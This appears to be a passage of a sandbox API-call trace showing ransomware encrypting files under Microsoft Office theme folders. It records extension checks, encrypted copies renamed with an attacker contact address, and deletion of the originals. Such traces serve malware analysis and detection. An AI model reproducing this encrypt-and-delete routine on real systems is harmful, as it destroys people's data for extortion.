	[0048.777] SetEndOfFile (hFile=0x20c) returned 1
	[0048.778] CloseHandle (hObject=0x20c) returned 1
	[0048.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0048.778] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 1
	[0048.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0048.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0048.778] lstrlenW (lpString=".doc") returned 4
	[0048.778] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0048.778] lstrlenW (lpString=".docx") returned 5
	[0048.778] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0048.778] lstrlenW (lpString=".pdf") returned 4
	[0048.778] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0048.778] lstrlenW (lpString=".xls") returned 4
	[0048.778] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0048.778] lstrlenW (lpString=".xlsx") returned 5
	[0048.779] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0048.779] lstrlenW (lpString=".ppt") returned 4
	[0048.779] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0048.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0048.779] lstrlenW (lpString=".zip") returned 4
	[0048.779] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0048.779] lstrlenW (lpString=".rar") returned 4
	[0048.779] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0048.779] lstrlenW (lpString=".bz2") returned 4
	[0048.779] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0048.779] lstrlenW (lpString=".7z") returned 3
	[0048.779] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0048.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0048.779] lstrlenW (lpString=".dbf") returned 4
	[0048.779] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0048.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0048.779] lstrlenW (lpString=".1cd") returned 4
	[0048.779] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0048.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0048.779] lstrlenW (lpString=".jpg") returned 4
	[0048.779] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0048.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0048.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0048.779] lstrlenW (lpString=".doc") returned 4
	[0048.779] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0048.779] lstrlenW (lpString=".docx") returned 5
	[0048.779] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0048.779] lstrlenW (lpString=".pdf") returned 4
	[0048.779] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0048.779] lstrlenW (lpString=".xls") returned 4
	[0048.779] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0048.780] lstrlenW (lpString=".xlsx") returned 5
	[0048.780] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0048.780] lstrlenW (lpString=".ppt") returned 4
	[0048.780] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0048.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0048.780] lstrlenW (lpString=".zip") returned 4
	[0048.780] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0048.780] lstrlenW (lpString=".rar") returned 4
	[0048.780] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0048.780] lstrlenW (lpString=".bz2") returned 4
	[0048.780] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0048.780] lstrlenW (lpString=".7z") returned 3
	[0048.780] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0048.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0048.780] lstrlenW (lpString=".dbf") returned 4
	[0048.780] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0048.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0048.780] lstrlenW (lpString=".1cd") returned 4
	[0048.780] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0048.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76
	[0048.780] lstrlenW (lpString=".jpg") returned 4
	[0048.780] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0048.780] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0048.780] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0048.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0049.843] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=33009) returned 1
	[0049.843] CloseHandle (hObject=0x20c) returned 1
	[0049.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20
	[0049.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0049.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0049.843] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0049.844] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0049.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0049.854] GetLastError () returned 0x0
	[0049.854] ReadFile (in: hFile=0x20c, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x80f1, lpOverlapped=0x0) returned 1
	[0049.919] WriteFile (in: hFile=0x1bc, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x8100, lpOverlapped=0x0) returned 1
	[0049.920] ReadFile (in: hFile=0x20c, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0049.921] WriteFile (in: hFile=0x1bc, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0049.921] SetEndOfFile (hFile=0x1bc) returned 1
	[0049.921] CloseHandle (hObject=0x1bc) returned 1
	[0049.921] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0049.921] SetEndOfFile (hFile=0x20c) returned 1
	[0049.922] CloseHandle (hObject=0x20c) returned 1
	[0049.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0049.922] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 1
	[0049.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0049.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0049.923] lstrlenW (lpString=".doc") returned 4
	[0049.923] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0049.923] lstrlenW (lpString=".docx") returned 5
	[0049.923] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0049.923] lstrlenW (lpString=".pdf") returned 4
	[0049.923] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0049.923] lstrlenW (lpString=".xls") returned 4
	[0049.923] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0049.923] lstrlenW (lpString=".xlsx") returned 5
	[0049.923] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0049.923] lstrlenW (lpString=".ppt") returned 4
	[0049.923] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0049.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0049.923] lstrlenW (lpString=".zip") returned 4
	[0049.923] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0049.923] lstrlenW (lpString=".rar") returned 4
	[0049.923] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0049.923] lstrlenW (lpString=".bz2") returned 4
	[0049.923] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0049.923] lstrlenW (lpString=".7z") returned 3
	[0049.923] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0049.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0049.923] lstrlenW (lpString=".dbf") returned 4
	[0049.923] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0049.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0049.923] lstrlenW (lpString=".1cd") returned 4
	[0049.923] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0049.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0049.924] lstrlenW (lpString=".jpg") returned 4
	[0049.924] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0049.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0049.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0049.924] lstrlenW (lpString=".doc") returned 4
	[0049.924] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0049.924] lstrlenW (lpString=".docx") returned 5
	[0049.924] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0049.924] lstrlenW (lpString=".pdf") returned 4
	[0049.924] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0049.924] lstrlenW (lpString=".xls") returned 4
	[0049.924] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0049.924] lstrlenW (lpString=".xlsx") returned 5
	[0049.924] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0049.924] lstrlenW (lpString=".ppt") returned 4
	[0049.924] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0049.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0049.924] lstrlenW (lpString=".zip") returned 4
	[0049.924] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0049.924] lstrlenW (lpString=".rar") returned 4
	[0049.924] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0049.924] lstrlenW (lpString=".bz2") returned 4
	[0049.924] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0049.924] lstrlenW (lpString=".7z") returned 3
	[0049.924] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0049.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0049.924] lstrlenW (lpString=".dbf") returned 4
	[0049.924] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0049.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0049.924] lstrlenW (lpString=".1cd") returned 4
	[0049.925] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0049.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0049.925] lstrlenW (lpString=".jpg") returned 4
	[0049.925] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0049.925] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0049.925] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0049.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0049.925] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=945) returned 1
	[0049.925] CloseHandle (hObject=0x20c) returned 1
	[0049.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20
	[0049.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0049.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0049.926] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0049.926] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0049.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0050.501] GetLastError () returned 0x0
	[0050.501] ReadFile (in: hFile=0x20c, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x3b1, lpOverlapped=0x0) returned 1
	[0050.502] WriteFile (in: hFile=0x178, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x3c0, lpOverlapped=0x0) returned 1
	[0050.503] ReadFile (in: hFile=0x20c, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.503] WriteFile (in: hFile=0x178, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0050.503] SetEndOfFile (hFile=0x178) returned 1
	[0050.503] CloseHandle (hObject=0x178) returned 1
	[0050.503] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.503] SetEndOfFile (hFile=0x20c) returned 1
	[0050.504] CloseHandle (hObject=0x20c) returned 1
	[0050.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0050.504] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 1
	[0050.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0050.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0050.505] lstrlenW (lpString=".doc") returned 4
	[0050.505] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0050.505] lstrlenW (lpString=".docx") returned 5
	[0050.505] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0050.505] lstrlenW (lpString=".pdf") returned 4
	[0050.505] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0050.505] lstrlenW (lpString=".xls") returned 4
	[0050.505] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0050.505] lstrlenW (lpString=".xlsx") returned 5
	[0050.505] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0050.505] lstrlenW (lpString=".ppt") returned 4
	[0050.505] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0050.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0050.505] lstrlenW (lpString=".zip") returned 4
	[0050.505] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0050.505] lstrlenW (lpString=".rar") returned 4
	[0050.505] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0050.505] lstrlenW (lpString=".bz2") returned 4
	[0050.505] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0050.505] lstrlenW (lpString=".7z") returned 3
	[0050.505] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0050.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0050.505] lstrlenW (lpString=".dbf") returned 4
	[0050.505] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0050.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0050.505] lstrlenW (lpString=".1cd") returned 4
	[0050.505] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0050.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0050.506] lstrlenW (lpString=".jpg") returned 4
	[0050.506] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0050.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0050.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0050.506] lstrlenW (lpString=".doc") returned 4
	[0050.506] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0050.506] lstrlenW (lpString=".docx") returned 5
	[0050.506] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0050.506] lstrlenW (lpString=".pdf") returned 4
	[0050.506] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0050.506] lstrlenW (lpString=".xls") returned 4
	[0050.506] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0050.506] lstrlenW (lpString=".xlsx") returned 5
	[0050.506] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0050.506] lstrlenW (lpString=".ppt") returned 4
	[0050.506] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0050.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0050.506] lstrlenW (lpString=".zip") returned 4
	[0050.506] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0050.506] lstrlenW (lpString=".rar") returned 4
	[0050.506] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0050.506] lstrlenW (lpString=".bz2") returned 4
	[0050.506] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0050.506] lstrlenW (lpString=".7z") returned 3
	[0050.506] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0050.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0050.506] lstrlenW (lpString=".dbf") returned 4
	[0050.506] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0050.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0050.506] lstrlenW (lpString=".1cd") returned 4
	[0050.507] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0050.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74
	[0050.507] lstrlenW (lpString=".jpg") returned 4
	[0050.507] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0050.507] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0050.507] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0050.507] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0050.507] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=20371) returned 1
	[0050.507] CloseHandle (hObject=0x20c) returned 1
	[0050.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20
	[0050.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.507] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0050.508] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.508] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0050.508] GetLastError () returned 0x0
	[0050.508] ReadFile (in: hFile=0x20c, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x4f93, lpOverlapped=0x0) returned 1
	[0050.510] WriteFile (in: hFile=0x178, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x4fa0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x4fa0, lpOverlapped=0x0) returned 1
